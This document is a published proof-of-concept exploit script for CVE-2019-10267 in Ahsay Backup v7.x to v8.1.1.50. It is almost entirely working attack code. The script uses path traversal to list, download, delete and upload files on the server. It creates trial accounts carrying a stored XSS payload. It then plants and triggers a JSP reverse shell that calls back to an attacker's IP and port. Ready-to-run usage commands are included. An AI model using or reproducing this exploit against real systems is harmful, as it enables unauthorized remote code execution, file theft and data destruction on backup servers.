Share
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (POC)  
# Date: 26-6-2019  
# Exploit Author: Wietse Boonstra  
# Vendor Homepage: https://ahsay.com  
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe  
# Version: 7.x < 8.1.1.50  
# Tested on: Windows / Linux  
# CVE : CVE-2019-10267  
  
  
#!/usr/bin/env python3  
  
"""  
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50.   
# Date: 26-6-2019  
# Exploit Author: Wietse Boonstra  
# Vendor Homepage: https://ahsay.com  
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe  
# Version: 7.x < 8.1.1.50   
# Tested on: Windows / Linux  
# CVE : CVE-2019-10267  
  
Session cookies are reflected in the JavaScript url:   
  
"""  
  
import urllib3  
import argparse  
import base64  
import re  
import socket  
from urllib.parse import urlencode  
import gzip  
import json  
import hashlib  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
def b64(s):  
try:  
return base64.b64encode(bytes(s, 'utf-8')).decode('utf-8')  
except:  
return base64.b64encode(bytes("", 'utf-8')).decode('utf-8')  
  
def md5Sum(buf):  
hasher = hashlib.md5()  
hasher.update(buf)  
a = hasher.hexdigest()  
return a  
  
class Exploit():  
def __init__(self, url, username="", password="", proxy="" ):  
self.url = url  
self.username = username  
self.password = password  
self.accountValid = None  
if proxy:  
self.http = urllib3.ProxyManager(proxy)  
else:  
self.http = urllib3.PoolManager()  
  
def fileActions(self, path="../../../../../../", action='list', recurse=False):  
"""  
actions: download, list, delete, (upload different function use self.upload)  
"""  
try:  
if not self.checkAccount(self.username,self.password):  
return False  
if recurse:  
recurse = "true"  
else:  
recurse = "false"  
  
headers={  
'X-RSW-Request-1': '{}'.format(b64(self.password)),  
'X-RSW-Request-0': '{}'.format(b64(self.username))  
}  
# http = urllib3.ProxyManager("https://localhost:8080")  
  
path = {  
'X-RSW-custom-encode-path':'{}'.format(path),  
'recursive':'{}'.format(recurse)  
}  
path = urlencode(path)  
if action == "delete":  
r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)  
else:  
r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)  
if (r.status == 200):  
if (action == 'list'):  
result = json.loads(gzip.decompress(r.data))  
dash = '-' * 50  
print(dash)  
print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name"))  
print(dash)  
for item in result["children"]:  
print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name']))  
print(dash)   
else:  
if action == "delete":  
print ("File has been deleted")  
else:  
return (r.data.decode('utf-8'))  
else:  
print ("Something went wrong!")  
print (r.data)  
print (r.status)  
except Exception as e:  
print (e)  
pass  
  
def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ):  
"""  
This function will setup the jsp reverse shell  
"""  
if not self.checkAccount(self.username, self.password):  
return False  
  
reverseShell = '''<%@page import="java.lang.*"%>  
<%@page import="java.util.*"%>  
<%@page import="java.io.*"%>  
<%@page import="java.net.*"%>  
  
<%  
class StreamConnector extends Thread  
{{  
InputStream az;  
OutputStream jk;  
  
StreamConnector( InputStream az, OutputStream jk )  
{{  
this.az = az;  
this.jk = jk;  
}}  
  
public void run()  
{{  
BufferedReader vo = null;  
BufferedWriter ijb = null;  
try  
{{  
vo = new BufferedReader( new InputStreamReader( this.az ) );  
ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) );  
char buffer[] = new char[8192];  
int length;  
while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 )  
{{  
ijb.write( buffer, 0, length );  
ijb.flush();  
}}  
}} catch( Exception e ){{}}  
try  
{{  
if( vo != null )  
vo.close();  
if( ijb != null )  
ijb.close();  
}} catch( Exception e ){{}}  
}}  
}}  
  
try  
{{  
String ShellPath;  
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{  
ShellPath = new String("/bin/sh");  
}} else {{  
ShellPath = new String("cmd.exe");  
}}  
  
Socket socket = new Socket( "{0}", {1} );  
Process process = Runtime.getRuntime().exec( ShellPath );  
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();  
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();  
}} catch( Exception e ) {{}}  
%>'''.format(str(ip), str(port))  
  
try:  
if (uploadPath == "../../webapps/cbs/help/en/"):  
callUrl = "{}/{}{}".format(self.url,re.sub("^../../webapps/",'',uploadPath),reverseShellFileName)  
exploitUrl = "{}{}".format(uploadPath,reverseShellFileName)  
print (exploitUrl)  
self.upload(exploitUrl, reverseShell)  
print ("Checking if file is uploaded.")  
  
if (md5Sum(self.fileActions(exploitUrl,'download').encode('utf-8')) == md5Sum(reverseShell.encode('utf-8'))):  
print ("File content is the same, upload OK!")  
print ("Triggering {}".format(callUrl))  
# http = urllib3.ProxyManager("https://localhost:8080")  
r = self.http.request('GET', '{}'.format(callUrl))  
if r.status == 200:  
print ("Done, Check your netcat listener!")  
return True  
else:   
return False  
except Exception as e:  
print (e)  
return False  
  
def upload(self, filePath, fileContent ):  
"""  
Needs a valid username and password.  
Needs a filepath + filename to upload to.   
Needs the file content.  
"""  
  
b64UploadPath = b64("{}".format(filePath))  
try:  
if not self.checkAccount(self.username, self.password):  
return False  
headers={  
'X-RSW-Request-0': '{}'.format(b64(self.username)),  
'X-RSW-Request-1': '{}'.format(b64(self.password)),  
'X-RSW-custom-encode-path': '{}'.format(b64UploadPath)  
}  
# http = urllib3.ProxyManager("https://localhost:8080")  
r = self.http.request(  
'PUT',   
'{}/obs/obm7/file/upload'.format(self.url),  
body=fileContent,  
headers=headers)  
if (r.status == 201):  
print ("File {}".format(r.reason))  
else:  
print ("Something went wrong!")  
print (r.data)  
print (r.status)  
except Exception as e:  
print ("Something went wrong!")  
print (e)  
pass  
  
def checkAccount(self, username, password):  
try:  
headers={  
'X-RSW-custom-encode-password': '{}'.format(b64(password)),  
'X-RSW-custom-encode-username': '{}'.format(b64(username))  
}  
# http = urllib3.ProxyManager("https://localhost:8080")  
r = self.http.request('POST', '{}/obs/obm7/user/getUserProfile'.format(url),'',headers)  
if (r.data == b'CLIENT_TYPE_INCORRECT') or (r.status == 200):  
if self.accountValid is None:  
print ("Account is valid with username: '{}' and password '{}'".format(username, password))  
self.accountValid = True  
return True  
elif (r.data == b'USER_NOT_EXIST'):  
if not self.accountValid is None:  
print ("Username does not exist!")  
self.accountValid = False  
return False  
elif (r.data == b'PASSWORD_INCORRECT'):  
if self.accountValid is None:  
print ("Password not correct but username '{}' is".format(username))  
self.accountValid = False  
return False  
else:  
if self.accountValid is None:  
print ("Something went wrong!")  
self.accountValid = False  
return False  
# print (r.data)  
# print (r.status)  
except Exception as e:  
print (e)  
self.accountValid = False  
return False  
  
def checkTrialAccount(self):  
try:  
# http = urllib3.ProxyManager("https://localhost:8080")  
r = self.http.request('POST', '{}/obs/obm7/user/isTrialEnabled'.format(self.url),'','')  
if (r.status == 200 and r.data == b'ENABLED' ):  
print ("Server ({}) has Trial Account enabled, exploit should work!".format(self.url))  
return True  
else:  
print ("Server ({}) has Trial Account disabled, please use a valid account!".format(self.url))  
return False  
except Exception as e:  
print ("Something went wrong with url {} !".format(self.url))  
print (e)  
return False  
  
def addTrialAccount(self,alias=""):  
try:  
if not self.checkTrialAccount():  
return False  
  
headers={  
'X-RSW-custom-encode-alias': '{}'.format(b64(alias)),   
'X-RSW-custom-encode-password': '{}'.format(b64(self.password)),  
'X-RSW-custom-encode-username': '{}'.format(b64(self.username))  
}  
# http = urllib3.ProxyManager("https://localhost:8080")  
r = self.http.request('POST', '{}/obs/obm7/user/addTrialUser'.format(url),'',headers)  
if (r.status == 200):  
print ("Account '{}' created with password '{}'".format(username, password))  
elif (r.data == b'LOGIN_NAME_IS_USED'):  
print ("Username is in use!")  
elif (r.data == b'PWD_COMPLEXITY_FAILURE'):  
print ("Password not complex enough")  
else:  
print ("Something went wrong!")  
print (r.data)  
print (r.status)  
except Exception as e:  
print (e)  
pass  
  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser(  
__file__,  
description="Exploit for AhsayCBS v6.x < v8.1.1..50",  
usage="""  
Check if Trial account is enabled: %(prog)s --host https://172.16.238.213/ -c  
Create Trial account: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!'  
Create Trial account with stored XSS: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' -x --xssvalue "'><script>alert(1)</script>"  
Delete file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action delete --path ../../../../../../../../test.txt  
List files in dir: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action list --path ../../../../../../../../  
Upload a file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action upload --localfile test.txt --path ../../../../../../../../ --filename test.txt  
Upload reverse shell: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! -e --ip 172.16.238.1 --port 4444  
"""  
  
)  
manda = parser.add_argument_group("Mandatory options")  
manda.add_argument("--host",  
help="Url of AhsayCBS server",  
# required=True  
)  
check = parser.add_argument_group("Check options")  
check.add_argument("-c", "--check",  
help="Check if host is vulnerable",  
action="store_true"  
)  
  
add = parser.add_argument_group("Add account options")  
add.add_argument("-a","--add",  
help="Add trial account",  
action="store_true"  
)  
add.add_argument("-u","--username",  
help="username to create"  
)  
add.add_argument("-p","--password",  
help="Password to create"  
)  
  
exploit = parser.add_argument_group("Exploit options")  
exploit.add_argument("-e", "--exploit",  
help="Run reverse shell exploit",  
action="store_true"  
)  
exploit.add_argument("--ip",  
help="Set the attackers IP",  
default="127.0.0.1"  
)  
exploit.add_argument("--port",  
help="Set the attackers port",  
default="4444"  
)  
  
#Optional  
xss = parser.add_argument_group("XSS")  
xss.add_argument("-x","--xss",  
help="Use XSS in alias field.",  
action="store_true",  
default=False  
)  
xss.add_argument("--xssvalue",  
help="Custom XSS value (must start with '>)",  
default="'><script>alert(1)</script>",  
required=False  
)  
  
  
# list files  
fileaction = parser.add_argument_group("File actions", "We can control the files on the server with 4 actions: list content of directory, download file (read), write file (upload) and delete file." )  
  
fileaction.add_argument("--action",  
help="use: delete, upload, download or list",  
default="list"  
)  
fileaction.add_argument("--localfile",  
help="Upload a local file"  
)  
fileaction.add_argument("--filename",  
help="Filename on the server"  
)  
fileaction.add_argument("--path",  
help="Directory on server use ../../../",  
default="/"  
)  
  
fileaction.add_argument("--recursive",  
help="Recurse actions list and delete",  
action="store_true",  
default=False  
)  
  
try:  
args = parser.parse_args()  
if args.add and (args.username is None or args.password is None):  
parser.error("The option --add / -a requires: --username and --password")  
if args.exploit and (args.username is None or args.password is None or args.ip is None or args.port is None):  
parser.error("The option -e / --exploit requires: --username, --password, --ip and --port")  
# if not (args.host or args.r7):  
if not (args.host):  
parser.error("The option --host requires: -a, -c, -e or -f")  
else:  
  
url = args.host  
url = url.rstrip('/')  
username = args.username  
password = args.password  
e = Exploit(url,username,password,"http://localhost:8080")  
if args.check:  
e.checkTrialAccount()  
elif args.add:  
if args.xss and (args.xssvalue is None):  
parser.error("The option -x / --xss requires: --xssvalue")  
if args.xssvalue:  
alias = args.xssvalue  
e.addTrialAccount(alias)  
elif args.exploit:  
print ("Exploiting please start a netcat listener on {}:{}".format(args.ip,args.port))  
input("Press Enter to continue...")  
e.exploit(args.ip, args.port,"../../webapps/cbs/help/en/","SystemSettings_License_Redirector_AHSAY.jsp")  
elif args.action != "upload":  
e.fileActions(args.path,args.action,args.recursive)  
elif args.action == "upload":  
if args.localfile is not None:  
f = open(args.localfile, "r")  
fileContent = f.read()  
e.upload("{}{}".format(args.path,args.filename),fileContent)  
else:  
parser.error("The option --upload must contain path to local file")  
  
except Exception as e:  
print (e)  
pass